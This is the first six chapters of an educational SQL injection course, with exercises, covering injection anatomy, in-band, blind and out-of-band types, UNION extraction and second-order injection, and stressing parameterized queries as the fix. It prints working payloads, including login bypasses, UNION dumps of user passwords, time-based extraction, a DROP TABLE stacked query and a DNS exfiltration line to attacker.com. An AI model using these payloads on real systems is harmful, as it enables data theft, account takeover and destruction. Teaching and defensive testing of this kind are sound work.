SQL Injection

A Complete 10-Chapter Security Course

Topics covered:

Data-vs-code & injection anatomy · In-band / blind / out-of-band types

UNION extraction · Blind inference · Writes / stacked / second-order

Parameterized queries · Defence in depth · ORM & NoSQL · Testing & sqlmap

Exercises: 30 hands-on exercises with worked solutions

Format: A4 · Dark-theme code examples · completes the 5-course web-security set

Table of Contents

CHAPTER 1 OF 10

What SQLi Is & Why It Works

CHAPTER 1

What SQLi Is & Why It Works

Untrusted input becomes query code — the data-vs-code trust boundary, again

SQL injection (SQLi) is what happens when untrusted input is mixed into a database query so the database interprets part of that input as *SQL code* rather than mere *data*. If that sounds familiar from the XSS course, it should: it's the *same root cause* — data treated as code — aimed at a different target. XSS subverts the browser; SQLi subverts the database, where your most sensitive data lives. It has sat near the top of the OWASP risk list for over two decades.

The Core Idea: A Query Built by String Concatenation

A web app builds SQL queries to talk to its database. The fatal pattern is constructing that query by **gluing user input directly into the query string**:

```
// a login lookup built by concatenation — the classic vulnerability
const query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

// intended, with username = "philip":
// SELECT * FROM users WHERE username = 'philip' AND password = '...'
```

The developer *intended* the input to be a value slotted between the quotes — pure data. But the input and the query are the **same string**, so if the input contains SQL syntax (like a quote), it can *escape the data slot* and become part of the command. The database has no way to know which characters the developer wrote and which the attacker supplied — it just parses the final string as SQL.

The Canonical Example

Supply `' OR '1'='1` as the username, and watch the query's meaning change:

```
// attacker enters username:  ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...'
                                   └── the attacker's input is now SQL logic ──┘
```

The injected `OR '1'='1'` is always true, so the `WHERE` clause matches every row — the query returns all users (often logging the attacker in as the first one, typically an admin). The single quote in the input *closed* the string the developer opened, and everything after it was read as code. That one-character breakout is the entire essence of SQLi.

Same Root Cause as XSS — Different Target

	XSS	SQL INJECTION
Untrusted input becomes…	HTML/JavaScript	SQL
Interpreted by	the browser	the database
Runs where	client-side (victim's browser)	server-side (your database)
Breakout character	`<` (opens a tag)	`'` (closes a string)
Primary fix	context-aware output encoding	parameterized queries

ONE MENTAL MODEL SPANS BOTH COURSES

Every injection bug — SQLi, XSS, command injection, LDAP injection — is the same mistake: **untrusted data crosses a boundary where it gets parsed as code instead of staying data.** The defences rhyme too: keep data *separate* from the code channel. For XSS that's encoding on output; for SQLi it's sending the query and the data on *separate channels* so the data is never parsed as SQL (parameterized queries, Chapter 7). If you understood "data vs code" from XSS, you already understand the heart of SQLi — only the syntax and the target differ.

Why It's So Damaging: It Targets the Database

XSS attacks a user's session; SQLi attacks the *data store itself* — which makes it one of the highest-impact web vulnerabilities. Depending on the query and the database account's privileges, an attacker can:

- **Read any data** — dump entire tables: all users, password hashes, personal data, payment records (often via `UNION`, Chapter 4).
- **Bypass authentication** — the `' OR '1'='1` login bypass (ties to the Auth course — this is one route to account takeover with no credentials).
- **Modify or destroy data** — `UPDATE` / `DELETE` / `DROP` if the injection reaches a write or stacked query (Chapter 6).
- **Escalate further** — read files, run OS commands, or pivot into the network on misconfigured/over-privileged databases.

A SINGLE SQLI CAN MEAN A TOTAL DATABASE BREACH — AND THEY HAPPEN AT SCALE

Because the vulnerability sits between the app and where *all* the data lives, one injectable parameter can expose the whole database. Real-world SQLi breaches have leaked hundreds of millions of records (it was the vector behind a long list of major incidents). It's also frequently *automatable* end to end — tools like `sqlmap` (Chapter 10) can find and exploit it with little manual effort, which means even low-skill attackers can weaponize a single mistake. This is why SQLi, despite being old and well-understood, remains both common and catastrophic — and why the one real fix (Chapter 7) must be applied *everywhere*, not just on the obvious inputs.

Where Injectable Input Comes From

Any data that originates outside your code and reaches a query is a candidate — not just the obvious login form. URL parameters, form fields, HTTP headers (User-Agent, cookies), JSON API bodies, and even *data already stored in your database* (second-order SQLi, Chapter 6) can all carry a payload. The discipline isn't "sanitize the login box" — it's treating *every* value that flows into a query as untrusted until it's safely parameterized.

Hands-On Exercises

EXERCISE 1

In your own words, explain the root cause of SQLi in "data vs code" terms. Take the concatenated login query and show exactly how the input `' OR '1'='1` changes its meaning, identifying which character causes the breakout and why the database can't tell code from data.

View solution

EXERCISE 2

Draw the parallel between SQLi and XSS: for each, name what the input becomes, who interprets it, where it runs, the breakout character, and the primary fix. Then state the single root cause both share and why understanding one helps you understand the other.

View solution

EXERCISE 3

List five distinct things an attacker could achieve through a single SQLi, and for each note what it depends on (query type, DB privileges). Then explain why "we sanitize the login form" is an inadequate framing of the defence, given where injectable input can originate.

View solution

CHAPTER 1 QUICK REFERENCE

- **SQLi** = untrusted input mixed into a query so the database parses it as **SQL code**, not data
- Root cause = **data treated as code** — the same bug as XSS, aimed at the database instead of the browser
- The fatal pattern: building queries by **string concatenation** of user input

- Canonical breakout: `' OR '1'='1` — the `'` closes the string, the rest becomes always-true logic → returns all rows / login bypass
- The database **can't distinguish** developer SQL from injected input — it parses the final string
- Impact: **read any data**, **bypass auth**, **modify/destroy data**, sometimes **run OS commands** — a single param can breach the whole DB
- Injectable input is *everywhere*: URLs, forms, headers, cookies, JSON, even stored data — not just the login box
- One model spans injection bugs: keep **data separate from the code channel** (parameterized queries, Chapter 7)
- **Next chapter:** anatomy of an injection — string/numeric contexts, comments, and subverting a login

CHAPTER 2 OF 10

Anatomy of an Injection

CHAPTER 2

Anatomy of an Injection

String vs numeric context, comment tricks, and subverting a login — defensively

DEFENSIVE FRAMING

We dissect payloads so you can *recognize* them, test your *own* apps, and understand why the Chapter 7 fix is the only reliable answer. Practise only on systems you own or on training targets — **PortSwigger Web Security Academy**, **OWASP Juice Shop**, **DVWA**. Never run these against systems you don't have permission to test.

Every injection has the same three moves: **break out** of the data context, **inject** your SQL, and **fix up** the rest of the query so it still parses. This chapter looks at how each move works — and the first question an attacker (or tester) asks is: *what context is my input in?*

The First Question: String or Numeric Context?

Where the input lands in the query determines how you break out of it — exactly like the injection contexts from the XSS course, but for SQL. The two main cases:

CONTEXT	QUERY LOOKS LIKE	TO BREAK OUT YOU NEED…
String	`WHERE name = 'INPUT'`	a quote `'` to close the string first
Numeric	`WHERE id = INPUT`	no quote — inject directly

```
// STRING context — input is inside quotes, so you need a ' to escape:
WHERE name = '' OR 1=1'

// NUMERIC context — input is NOT quoted, so you inject straight in:
WHERE id = 5 OR 1=1     // no quote needed at all
```

"WE QUOTE OUR INPUTS" IS NOT A DEFENCE — NUMERIC CONTEXT IS INJECTABLE WITH NO QUOTE AT ALL

A common false belief is that wrapping inputs in quotes (or stripping quotes from input) prevents SQLi. It doesn't. In **numeric context** the value isn't quoted, so an attacker needs *no quote character* to inject — `id=5 OR 1=1` works directly. And in string context, quote-stripping/escaping is fragile (encodings, multi-byte tricks, and it breaks

> legitimate data like `O'Brien`). The point: you cannot reliably defend by manipulating quotes — only by parameterizing (Chapter 7), which removes the question of context entirely.

Probing: Does It Even Inject?

Before crafting an attack, a tester confirms a parameter is injectable. The classic probes:

- **A lone quote** `'` — if it causes a database error or changed behaviour, the input is reaching the query unescaped (string context).
- **Always-true vs always-false** — `' OR '1'='1` (more results) vs `' AND '1'='2` (no results). A difference proves your input is altering the query's logic.
- **Arithmetic** — in numeric context, `id=5` vs `id=4+1`: if both return the same record, the database evaluated `4+1` — it's numeric and injectable.

Comments: Cutting Off the Rest of the Query

After injecting, the developer's *original* query continues — often with a trailing quote or an `AND password='...'` that would break your syntax. The fix-up move is a **SQL comment**, which tells the database to ignore everything after it:

COMMENT	SYNTAX	DATABASE
Double-dash	`--` (note the trailing space)	most (ANSI standard)
Hash	`#`	MySQL
Inline	`/* … */`	most

```
// without a comment, the trailing ' breaks the syntax:
WHERE username = 'admin'' AND password = '...'   // syntax error

// comment out everything after the injection — the password check vanishes:
WHERE username = 'admin'-- ' AND password = '...'  ← ignored
```

Putting It Together: Subverting a Login

Now the classic auth-bypass in full. The login query:

```
SELECT * FROM users WHERE username = '$user' AND password = '$pass'
```

An attacker who wants to log in as a *specific* known user (`admin`) without the password supplies the username:

```
username:  admin'--
password:  (anything)

// resulting query — the password check is commented out:
SELECT * FROM users WHERE username = 'admin'-- ' AND password = '...'
// effectively: SELECT * FROM users WHERE username = 'admin'
// → returns the admin row → logged in as admin, no password
```

TWO FLAVOURS OF LOGIN BYPASS — TARGET A USER VS MATCH ANY USER

There are two classic shapes. **(1)** `admin'--` logs you in as a *specific* user (admin) by terminating the username and commenting away the password check. **(2)** `' OR '1'='1` (Chapter 1) makes the whole `WHERE` true and returns *all* users — you get logged in as whoever the app picks from the result set (often the first row). The first is precise; the second is a blunt "match everyone." Both exploit the same flaw, and both vanish under parameterized queries — and note this is also an **authentication bypass** (Auth course): account access with no credential, purely from a query-construction bug.

The Three Moves, Generalized

Every injection payload, however complex, is these three moves:

1. **Break out** — a `'` (string context) or nothing (numeric) to escape the data slot into code position.
2. **Inject** — your SQL: boolean logic (`OR 1=1`), a `UNION` (Chapter 4), a stacked statement (Chapter 6), etc.
3. **Fix up** — a comment (`--`) to discard the trailing query, or carefully balanced quotes so the whole thing still parses.

Recognizing these three moves lets you read any payload — and the next chapters expand the middle move (what you inject) for data extraction, blind inference, and beyond.

Hands-On Exercises

EXERCISE 1

For a string-context query `WHERE name = 'INPUT'` and a numeric-context query `WHERE id = INPUT`, write an always-true injection for each. Explain why the numeric case needs no quote, and why "we strip quotes from input" fails to protect the numeric query.

View solution

EXERCISE 2

Explain what role a SQL comment (`--`) plays in an injection. Given `WHERE username='$u' AND password='$p'`, show the exact username payload that logs you in as `admin` with no password, and write out the resulting query. Note the

trailing-space requirement of `--`.

View solution

EXERCISE 3

Break down the three moves (break out / inject / fix up) for the payload `admin'--` and for `' OR '1'='1`. Explain how the two login-bypass shapes differ (target a specific user vs match all), and confirm both are eliminated by parameterized queries.

View solution

CHAPTER 2 QUICK REFERENCE

- Every injection = **break out** (escape the data slot) → **inject** (your SQL) → **fix up** (comment/balance so it parses)
- **String context** (`name='INPUT'`) needs a `'` to break out; **numeric context** (`id=INPUT`) needs *no quote*
- "We quote/strip quotes" is **not a defence** — numeric context injects with no quote; quote-handling is fragile and breaks real data
- Probe injectability: a lone `'` (error), `' OR '1'='1` vs `' AND '1'='2` (logic change), `4+1` arithmetic (numeric)
- **Comments** (`--` with trailing space, `#` MySQL, `/* */`) cut off the rest of the developer's query
- **Login bypass**: `admin'--` (log in as a specific user) vs `' OR '1'='1` (match all) — both are auth bypass with no credential
- All of these vanish under **parameterized queries** (Chapter 7) — context and breakout become irrelevant
- **Next chapter:** the types of SQLi — in-band (error/union), blind (boolean/time), and out-of-band

CHAPTER 3 OF 10

The Types of SQLi

CHAPTER 3

The Types of SQLi

In-band, blind, and out-of-band — classified by how the data gets back to you

All SQLi shares the root cause (Chapter 1) and the three moves (Chapter 2), but injections are classified by **how the attacker gets the answer back**. That channel depends on what the app shows you: query results? errors? nothing at all? The type dictates the technique — so the first thing a tester establishes is which type they're dealing with.

The Three Families

TYPE	HOW DATA RETURNS	USE WHEN...
`In-band`	through the app's own response (results or errors)	the app shows query output or DB errors
`Blind (inferential)`	inferred from app behaviour (true/false, timing)	no output and no errors are shown
`Out-of-band (OOB)`	via a separate channel (DNS/HTTP from the DB)	no in-band feedback, but the DB can make network requests

THE DEFINING QUESTION: "CAN I SEE THE ANSWER, AND HOW?"

The whole taxonomy reduces to one question. If the app **shows you data or an error** → in-band (the fast, easy case). If it shows **nothing distinguishing**, but its *behaviour* changes (different page, or a delay) → blind. If it shows nothing *and* behaviour is identical, but the database can reach out to the network → out-of-band. Crucially, *all three exfiltrate data despite the wildly different feedback* — which is why "we don't show SQL errors" is not a fix (it only downgrades in-band to blind). The vulnerability is the same; only the readout differs.

In-Band SQLi (the easy case)

The data comes back through the *same* channel you injected — the app's normal response. Two sub-types:

Error-Based

The app displays database error messages, and the attacker crafts input that makes the DB *leak data inside an error* (e.g. forcing a type-conversion error that includes a queried value). Verbose errors can reveal table names, column types, query structure, and even extracted values:

```
// a forced error that echoes a value back in the message (conceptual)
' AND extractvalue(1, concat(0x7e, (SELECT version())))--
// → DB error: "XPATH syntax error: '~8.0.32'"  ← the version leaks in the error
```

VERBOSE DB ERRORS HAND ATTACKERS A MAP — BUT HIDING THEM IS NOT THE FIX

Detailed error messages shown to users are a real information leak: they reveal the database type/version, table and column names, and query shape, dramatically accelerating an attack (and enabling error-based extraction). You absolutely should **show generic errors to users and log details server-side**. But understand what that does: it *downgrades* error-based to **blind** SQLi — the injection still works, the attacker just switches to inference. Hiding errors is good hygiene and slows attackers; it is *not* a substitute for parameterized queries (Chapter 7).

Union-Based

The most powerful in-band technique: `UNION SELECT` appends the results of a *second* query onto the original, so data from *other tables* appears right in the app's normal output (a product listing, search results). This is the workhorse of data extraction and gets its own chapter (Chapter 4).

```
// append other-table data into the visible results
' UNION SELECT username, password FROM users--
```

Blind SQLi (no visible output)

When the app shows *no* query results and *no* errors, you're flying blind — but the injection still works; you just can't see the answer directly. Instead you ask the database **true/false questions** and read the answer from the app's *behaviour*. Two sub-types:

- **Boolean-based** — inject a condition and watch whether the page changes. `' AND 1=1--` (page loads normally) vs `' AND 1=2--` (page differs / no results). By substituting real conditions (`' AND SUBSTRING(password,1,1)='a'--`), you extract data one character at a time from the true/false signal.
- **Time-based** — when even the page response is identical for true and false, you make the database *pause* on "true": `' AND IF(condition, SLEEP(5), 0)--`. A 5-second delay means the condition was true. You read data through the *response time*.

Blind extraction is slow (one bit/character per request) but completely effective — and trivially automated (Chapter 5 + sqlmap in Chapter 10). It's covered in depth next chapter-but-one.

Out-of-Band SQLi (a separate channel)

Sometimes there's no usable in-band output *and* no reliable behavioural/timing difference. If the database can make outbound network requests, the attacker exfiltrates data through a **different channel** — typically by making the DB perform a **DNS or HTTP lookup** to a domain they control, with the stolen data encoded in the request:

```
// make the DB resolve a hostname containing the stolen data (conceptual)
// e.g. the password's hash becomes part of a DNS query to attacker.com
...load_file(concat('\\\\', (SELECT password ...), '.attacker.com\\x'))...
// attacker watches their DNS logs: a lookup for "<data>.attacker.com" arrives
```

OOB is the fallback when in-band and blind are impractical (or to speed up exfiltration), and it depends on database features and network egress being available. It's less common but worth knowing exists.

Why the Type Doesn't Change the Fix

Note the through-line: error-based, union-based, boolean-blind, time-blind, and out-of-band are all the *same vulnerability* — an injectable query — read through different channels. Defenders sometimes try to close the channel (hide errors, normalize responses), which only forces the attacker to a different type. The fix targets the **cause**, not the readout: **parameterized queries** (Chapter 7) prevent the injection from happening at all, so there's nothing to read back through *any* channel.

Hands-On Exercises

EXERCISE 1

Classify each scenario as in-band, blind, or out-of-band, and name the sub-type: (a) the app prints "SQL error near…" with table names; (b) a search page shows extra rows from another table after a `UNION`; (c) the page looks identical but takes 5s longer with a `SLEEP` payload; (d) the DB makes a DNS lookup to your domain. Justify each with "how does the data get back?"

View solution

EXERCISE 2

Explain why hiding database error messages is good practice but not a fix for SQLi. Describe exactly what it changes for the attacker (which type they switch to) and why the underlying vulnerability is unchanged.

View solution

EXERCISE 3

Explain how boolean-based and time-based blind SQLi each extract a single character of a password, given no visible output. Then explain why blind SQLi is slower than union-based but equally effective, and why neither channel-closing

defence stops the underlying injection.

View solution

CHAPTER 3 QUICK REFERENCE

- SQLi is classified by **how the answer gets back** — ask "can I see the data, and how?"
- **In-band** — data returns via the app's own response; sub-types: **error-based** (data leaked in errors) & **union-based** (appended results)
- **Blind** — no visible output; infer from behaviour: **boolean-based** (page changes on true/false) & **time-based** (`SLEEP` delay on true)
- **Out-of-band** — exfiltrate via a separate channel (DB makes a **DNS/HTTP** request to attacker domain with data encoded in it)
- Blind extracts data **one character at a time** — slower than union, but fully effective and automatable
- **Verbose DB errors** leak schema/version/structure — show generic errors, log details — but this only *downgrades* to blind
- All types are the **same vulnerability** read through different channels — closing a channel just forces another type
- The fix targets the **cause**: parameterized queries (Chapter 7) prevent the injection entirely — nothing to read back anywhere
- **Next chapter:** union-based data extraction in depth — column counts, types, and reading the schema

CHAPTER 4 OF 10

UNION-Based Data Extraction

CHAPTER 4

UNION-Based Data Extraction

Column counts, types, and reading the schema — the workhorse of data theft

Chapter 3 introduced `UNION`-based SQLi as the most powerful in-band technique. This chapter works it in full, because it's the canonical way an attacker turns "I can inject" into "I have your entire users table." The idea: `UNION` lets you **bolt a second query onto the first**, so data from *any* table the DB account can read appears in the app's normal output. (Defensive framing as always — practise only on targets you own / training labs.)

What UNION Does

`UNION SELECT` combines the rows of two `SELECT` statements into one result set. If the app displays the results of its query, an injected `UNION SELECT` makes *your* chosen data show up alongside (or instead of) the legitimate rows:

```
// original query (a product search):
SELECT name, price FROM products WHERE name LIKE '%INPUT%'

// injected: append rows from the users table into the visible output
INPUT = ' UNION SELECT username, password FROM users--
// result list now contains usernames + passwords where products used to be
```

But `UNION` has two strict requirements that the attacker must satisfy first, and the early steps of every union attack are about discovering them.

Requirement 1: Matching Column Count

A `UNION` requires **both queries to return the same number of columns**, or the database errors. So step one is finding how many columns the original query has. Two standard methods:

ORDER BY probing

Increase the `ORDER BY` column index until it errors — the last value that works is the column count:

```
' ORDER BY 1--    // ok
' ORDER BY 2--    // ok
' ORDER BY 3--    // ok
' ORDER BY 4--    // ERROR → there are 3 columns
```

UNION SELECT NULL probing

Or increase the number of `NULL`s until the union succeeds (`NULL` is type-compatible with anything, so it isolates the count question from the type question):

```
' UNION SELECT NULL--              // error (wrong count)
' UNION SELECT NULL,NULL--         // error
' UNION SELECT NULL,NULL,NULL--    // success → 3 columns
```

Requirement 2: Compatible Column Types

The columns you inject must be **type-compatible** with the original's columns in the positions you want to display — specifically, the data you want to read (usually text) must go in a column the app renders as a string. Find a string-friendly column by placing a test marker:

```
// which columns can hold/display text? put a marker in each position:
' UNION SELECT 'aaa',NULL,NULL--    // does "aaa" appear? → col 1 is text
' UNION SELECT NULL,'aaa',NULL--    // col 2?
' UNION SELECT NULL,NULL,'aaa'--    // col 3?
```

Whichever marker shows up in the page is a column you can exfiltrate string data through. Now you know the count *and* a usable column position — you can extract.

Reading the Schema: information_schema

To steal data you need to know what tables and columns exist. SQL databases expose their own structure through a metadata catalogue — most commonly `information_schema` — which you can query *through* the union:

```
// list all table names:
' UNION SELECT table_name, NULL, NULL FROM information_schema.tables--

// list columns of the "users" table:
' UNION SELECT column_name, NULL, NULL FROM information_schema.columns WHERE table_name='users'--

// then extract the actual data:
' UNION SELECT username, password, NULL FROM users--
```

> **CONCATENATE MULTIPLE VALUES INTO ONE COLUMN TO BEAT A SINGLE DISPLAY SLOT**
>
> Often only *one* column is rendered, but you want several values (username *and* password). The trick is to **concatenate them into that one column** with a separator: `SELECT username || ':' || password` (standard / Postgres / Oracle), `CONCAT(username,':',password)` (MySQL), or `username + ':' + password` (SQL Server). One visible column then

carries an entire row's worth of stolen data — which is how a single injectable search box dumps a whole credentials table row by row. (Syntax differs per database, which is also how attackers fingerprint *which* database they're hitting.)

The Full Attack, Start to Finish

1. **Confirm injectable** — a lone `'` or `' OR '1'='1` changes behaviour (Chapter 2).
2. **Find the column count** — `ORDER BY n` until it errors, or `UNION SELECT NULL,...` until it works.
3. **Find a displayable text column** — place a string marker in each position.
4. **Map the schema** — query `information_schema` for tables and columns.
5. **Extract** — `UNION SELECT` the target columns (concatenated if needed) and read them from the output.

THIS IS EXACTLY WHAT SQLMAP AUTOMATES — MINUTES FROM "INJECTABLE" TO "WHOLE DATABASE"

Every step above is mechanical, which is why tools like **sqlmap** (Chapter 10) perform the entire sequence automatically: detect the injection, determine the column count and types, fingerprint the DBMS, enumerate `information_schema`, and dump tables — often in minutes, with no manual SQL. The practical consequence: a single union-injectable parameter is not a "theoretical" risk; it is a near-automatic full-database disclosure. And — the recurring point — none of this is possible if the query was parameterized (Chapter 7), because the input never becomes part of the SQL to `UNION` with.

Hands-On Exercises

EXERCISE 1

Explain why a `UNION` attack must first determine the column count, and show both methods (`ORDER BY` probing and `UNION SELECT NULL`) for a query that turns out to have 3 columns. Explain why `NULL` is used in the second method.

View solution

EXERCISE 2

Given a 3-column product search where only one column is displayed, write the sequence of payloads to: find which column shows text, list the tables, list the `users` columns, and dump username+password as a single concatenated value. Note the DB-specific concatenation syntax.

View solution

EXERCISE 3

Walk the full 5-step union attack from "is it injectable?" to "whole table dumped," and explain why each step is mechanical/automatable (sqlmap). Then explain precisely why parameterized queries make the entire sequence impossible.

View solution

CHAPTER 4 QUICK REFERENCE

- **UNION SELECT** appends a second query's rows to the first — data from any readable table shows in the app's output
- **Requirement 1 — column count must match**: find it via `ORDER BY n` (until error) or `UNION SELECT NULL,NULL,…` (until success)
- `NULL` is type-compatible with everything → isolates the *count* question from the *type* question
- **Requirement 2 — compatible types**: place a string marker (`'aaa'`) per position to find a displayable text column
- **Read the schema** via `information_schema.tables` / `.columns` — list tables, then columns, then extract
- **Concatenate** multiple values into one display column (`||` / `CONCAT` / `+`, DB-specific) to dump a whole row through one slot
- Full attack: confirm → column count → text column → map schema → extract — all **mechanical & automated by sqlmap**
- A single union-injectable parameter ≈ **full-database disclosure**; impossible under **parameterized queries** (Chapter 7)
- **Next chapter:** blind SQLi in depth — boolean & time-based extraction when there's no visible output

CHAPTER 5 OF 10

Blind SQL Injection

CHAPTER 5

Blind SQL Injection

Boolean & time-based inference when there's no visible output

Union extraction (Chapter 4) needs the app to *show* query results. Often it doesn't — a login that just says "success" or "failure," a search that returns a generic page. The query is still injectable, but you can't see the answer. **Blind SQLi** recovers the data anyway, by turning the application into a yes/no oracle and reading one bit at a time. It's slower than union-based, but no less complete — and fully automatable. (Defensive framing: own systems / training labs only.)

The Core Idea: The App as a Boolean Oracle

You can't see data, but you *can* ask the database a true/false question and observe whether the app behaves differently. If you can reliably distinguish "the condition was true" from "the condition was false," you can ask questions *about the data* and reconstruct it bit by bit. The two ways to get that true/false signal define the two sub-types.

Boolean-Based Blind

Here the page *content* differs (even subtly) between a true and a false condition — different text, different length, present-or-absent results, a 200 vs a 500. First establish the tell:

```
' AND 1=1--    // TRUE  → page renders normally / "Welcome back"
' AND 1=2--    // FALSE → page differs / "Invalid" / no results
```

Now swap the constant for a question about the actual data, and read the answer from which page you get back:

```
// is the 1st character of the admin password greater than 'm' (ASCII 109)?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) > 109--
// TRUE-page  → yes, char code > 109
// FALSE-page → no, char code <= 109
```

Binary Search: ~7 Requests per Character

Testing every possible character one by one is wasteful. Instead use a **binary search** on each character's ASCII value — each request halves the remaining range, so a full byte (0–127 printable, really ~95 candidates) is pinned in about **7 requests**:

```
// narrowing the 1st character's ASCII code (binary search):
> 64 ? TRUE      // it's in 65–127
> 96 ? TRUE      // 97–127  (lowercase range)
> 112 ? FALSE    // 97–112
> 104 ? TRUE     // 105–112
> 108 ? TRUE     // 109–112
> 110 ? FALSE    // 109–110
= 109 ? TRUE     // char code 109 = 'm'
```

Then advance to position 2 (`SUBSTRING(...,2,1)`), repeat, and you've reconstructed the whole password. You typically first extract the **length** (`' AND LENGTH(password)=N`) so you know when to stop.

Time-Based Blind

Sometimes the page is *identical* for true and false — no content difference at all. Then you manufacture your own signal: make the database **pause** when the condition is true, and read the answer from the *response time*:

DATABASE	CONDITIONAL DELAY
MySQL	`' AND IF(condition, SLEEP(5), 0)--`
PostgreSQL	`' AND (CASE WHEN condition THEN pg_sleep(5) ELSE pg_sleep(0) END)--`
SQL Server	`'; IF (condition) WAITFOR DELAY '0:0:5'--`

```
// same question, but answered by a delay instead of page content:
' AND IF(ASCII(SUBSTRING((SELECT password ...),1,1)) > 109, SLEEP(5), 0)--
// response takes ~5s longer → condition TRUE; returns instantly → FALSE
```

TIME-BASED IS THE UNIVERSAL FALLBACK — AND WHY "IT RETURNS NOTHING USEFUL" IS NO DEFENCE

Boolean-blind needs a detectable content difference; time-based needs none — it works even when the response is *byte-for-byte identical* for true and false, because the signal is the clock, not the page. That makes it the technique of last resort that *almost always* works on an injectable query: as long as your injected SQL executes, you can make it sleep. This is why "the endpoint doesn't display anything" provides no real protection — the data still leaks through timing. (Caveat for testers: timing is noisy — network jitter, load — so real tools use longer/repeated delays and statistics to be sure.)

Why Blind Is Slow but Not Safe

The contrast with union-based is stark and worth internalizing:

	UNION-BASED	BLIND
Data per request	whole values / rows / tables	one bit (true/false)
Speed	fast (seconds)	slow (1 char ≈ 7 requests; +delay for time-based)
Needs visible output?	yes	no (content) / none at all (timing)
Recovers the same data?	yes	yes — eventually, completely

"SLOW" ≠ "SAFE" — AUTOMATION MAKES THOUSANDS OF REQUESTS TRIVIAL

A human extracting a 32-character hash one binary-searched character at a time would make ~224 requests — tedious by hand, but **automated tools do it in moments**. `sqlmap` (Chapter 10) drives boolean and time-based blind extraction automatically, issuing the thousands of inference requests and reassembling the data with no manual effort. So the slowness of blind SQLi protects nobody in practice; the data comes out just the same. The lesson repeats: don't rely on hiding output — only **parameterized queries** (Chapter 7) remove the injectable oracle entirely, so there's no true/false to read and no delay to time.

Hands-On Exercises

EXERCISE 1

Explain how a tester first establishes a boolean oracle (the true/false tell) on a page with no visible data, then walk a binary search extracting the first character of a secret, showing why it takes ~7 requests rather than ~95.

View solution

EXERCISE 2

Explain when you must use time-based instead of boolean-based blind, and write a MySQL time-based payload that tests whether the first character of the admin password is `'a'`. Explain how the answer is read, and one reason time-based is noisier/less reliable.

View solution

EXERCISE 3

A developer argues "our login only returns success/failure and shows no errors, so SQLi can't leak data." Rebut this using blind SQLi: explain how data still leaks with no output, why time-based works even on identical responses, and why only parameterization actually closes it.

View solution

CHAPTER 5 QUICK REFERENCE

- **Blind SQLi** — no visible output; turn the app into a **true/false oracle** and extract data one bit at a time
- **Boolean-based** — page *content* differs on true vs false (`' AND 1=1` vs `' AND 1=2`); ask data questions and read the page
- **Binary search** on each character's ASCII (`> 109?`) → **~7 requests/char**; grab `LENGTH()` first to know when to stop
- **Time-based** — make the DB pause on true (`SLEEP` / `pg_sleep` / `WAITFOR DELAY`); read the answer from **response time**
- Time-based works even when responses are **byte-for-byte identical** — the universal fallback; only needs your SQL to execute
- Blind recovers the **same data** as union, just slower (one bit/request); **"slow" ≠ "safe"** — sqlmap automates it
- Hiding output/errors only forces boolean → time-based; it never removes the injectable oracle
- Only **parameterized queries** (Chapter 7) eliminate the oracle — no true/false to read, no delay to time
- **Next chapter:** beyond SELECT — INSERT/UPDATE/DELETE, stacked queries, and second-order SQLi

CHAPTER 6 OF 10

Beyond SELECT

CHAPTER 6

Beyond SELECT

INSERT/UPDATE/DELETE, stacked queries, and second-order SQLi

So far the injections have read data through `SELECT` queries. But SQLi isn't limited to reads — it can **modify** data, **chain whole new statements**, and even lie dormant until **triggered later**. This chapter covers the write-side and the trickier delivery patterns, including the one that defeats input-time validation entirely. (Defensive framing — own systems / labs only.)

Injection Into Write Statements

Any statement built with user input is injectable, not just `SELECT`. An `UPDATE` or `INSERT` that concatenates input can be subverted to change *other* columns or rows:

```
// a "change my display name" UPDATE built by concatenation
UPDATE users SET nickname = '$nick' WHERE id = $userid

// attacker sets nickname to inject an extra column assignment:
nick = x', role = 'admin
UPDATE users SET nickname = 'x', role = 'admin' WHERE id = $userid
// → the user just promoted themselves to admin (privilege escalation)
```

The same applies to `WHERE` clauses on writes: an injectable `UPDATE … WHERE id=$id` with `id = 5 OR 1=1` updates *every* row. A `DELETE` with the same flaw deletes the whole table. So injection into a write is an **integrity** and **availability** attack, not just confidentiality.

Stacked Queries: Running Entirely New Statements

Some database drivers allow **multiple statements separated by a semicolon** in one call. Where that's enabled, an attacker can *append a completely separate command* after the original — turning a read into a write, a drop, or anything else:

```
// original: a product lookup (a SELECT)
SELECT * FROM products WHERE id = $id

// stacked injection appends a second, destructive statement:
id = 5; DROP TABLE users--
SELECT * FROM products WHERE id = 5; DROP TABLE users--
```

STACKED QUERIES ARE OFTEN BLOCKED BY THE DRIVER — BUT DON'T COUNT ON IT

Many common API/driver combinations *disable* multi-statement execution by default (e.g. the classic MySQL `mysql_query` /PHP, and many parameterized-query APIs run exactly one statement), which is why the infamous `'; DROP TABLE` doesn't always work. But others *do* allow stacking (often SQL Server, PostgreSQL, and MySQL with multi-statements enabled), so it's a real risk, not a myth. The reassuring part isn't "stacking is usually off" — it's that **parameterized queries don't just block stacking, they prevent the injection that would attempt it.** Never rely on a driver setting as your defence.

Authentication Bypass — the Write/Logic Variant

Chapter 2 showed login bypass via `SELECT`. Note it ties to the whole Auth course: injection can also create or elevate accounts (the `role='admin'` trick above), reset another user's password through an injectable update, or satisfy a privilege check — turning a query-construction bug into full account compromise with no credential. SQLi is frequently the *first* step in a breach, then pivots through these write capabilities.

Second-Order SQLi: The Payload That Waits

The subtlest and most important pattern in this chapter. **Second-order (stored) SQLi** splits the attack across two requests: the payload is *safely stored* first, then *triggers* later when some *other* code reads it back into a query unsafely.

```
// Request 1 — register a username containing a payload.
// The signup INSERT is parameterized, so storing it is SAFE — no injection here:
username = admin'--      // stored verbatim in the users table

// Request 2 — later, a DIFFERENT feature reads the stored username and
// concatenates it into a NEW query (e.g. "update my profile"):
UPDATE users SET ... WHERE username = 'admin'-- '  ← injection fires NOW
```

SECOND-ORDER SQLI DEFEATS INPUT-TIME VALIDATION BY DESIGN — THE DATA COMES FROM YOUR OWN DATABASE

This is why "sanitize/validate on input" is not a sufficient strategy. The malicious value passes through the front door *looking harmless* (and is often stored via a safe, parameterized insert). The danger only materializes when a *second, different* code path — which "trusts" data because it came from the database, not the user — concatenates it into a query. Developers routinely treat database data as trusted and parameterize only "user input," leaving these second-order paths wide open. The lesson: **treat data as untrusted based on its origin (it ultimately came from a user), not on where it currently sits** — and parameterize *every* query, including those reading your own tables.

The Unifying Point

